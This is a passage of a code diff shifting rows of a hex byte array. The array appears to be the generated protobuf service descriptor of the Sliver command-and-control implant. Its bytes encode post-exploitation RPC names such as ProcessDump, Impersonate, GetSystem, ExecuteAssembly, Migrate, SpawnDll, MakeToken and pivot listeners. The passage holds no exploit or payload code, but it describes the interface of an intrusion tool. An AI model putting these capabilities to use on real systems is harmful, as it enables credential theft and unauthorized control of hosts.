- 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d,
- 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52,
- 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70,
- 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52,
- 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d,
- 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76,
- 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53,
- 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,
- 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53,
- 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a,
- 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12,
- 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65,
- 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73,
- 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d,
- 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
- 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65,
- 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62,
- 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65,
- 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
- 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
- 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65,
- 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78,
- 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57,
- 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08,
- 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a,
- 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c,
- 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12,
- 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b,
- 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c,
- 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17,
+ 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69,
+ 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71,
+ 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66,
+ 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69,
+ 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c,
+ 0x65, 0x73, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x52, 0x65,
+ 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x75,
+ 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d,
+ 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f,
+ 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75,
+ 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a,
+ 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73,
+ 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12,
+ 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72,
+ 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65,
+ 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65,
+ 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65,
+ 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a,
+ 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79,
+ 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a,
+ 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12,
+ 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52,
+ 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a,
+ 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79,
+ 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63,
+ 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
+ 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67,
+ 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a,
+ 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74,
+ 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64,
+ 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45,
+ 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71,
+ 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63,
+ 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12,
+ 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c,
+ 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70,
+ 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c,
+ 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+ 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65,
+ 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e,
- 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a,
- 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e,
- 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75,
- 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52,
- 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75,
- 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12,
- 0x35, 0x0a, 0x08, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x52,
- 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65,
- 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x44, 0x0a, 0x0d, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
- 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c,
- 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
- 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x4c, 0x0a, 0x12,
- 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61,
- 0x6d, 0x65, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74,
- 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65,
- 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
- 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69,
- 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72,
- 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f,
- 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
- 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76,
- 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69,
- 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12,
- 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74,
- 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a,
- 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
- 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
- 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73,
- 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f,
- 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
- 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74,
- 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65,
- 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71,
- 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76,
- 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53,
- 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71,
- 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76,
- 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76,
- 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
- 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d,
- 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71,
- 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65,
- 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
- 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65,
- 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76,
- 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76,
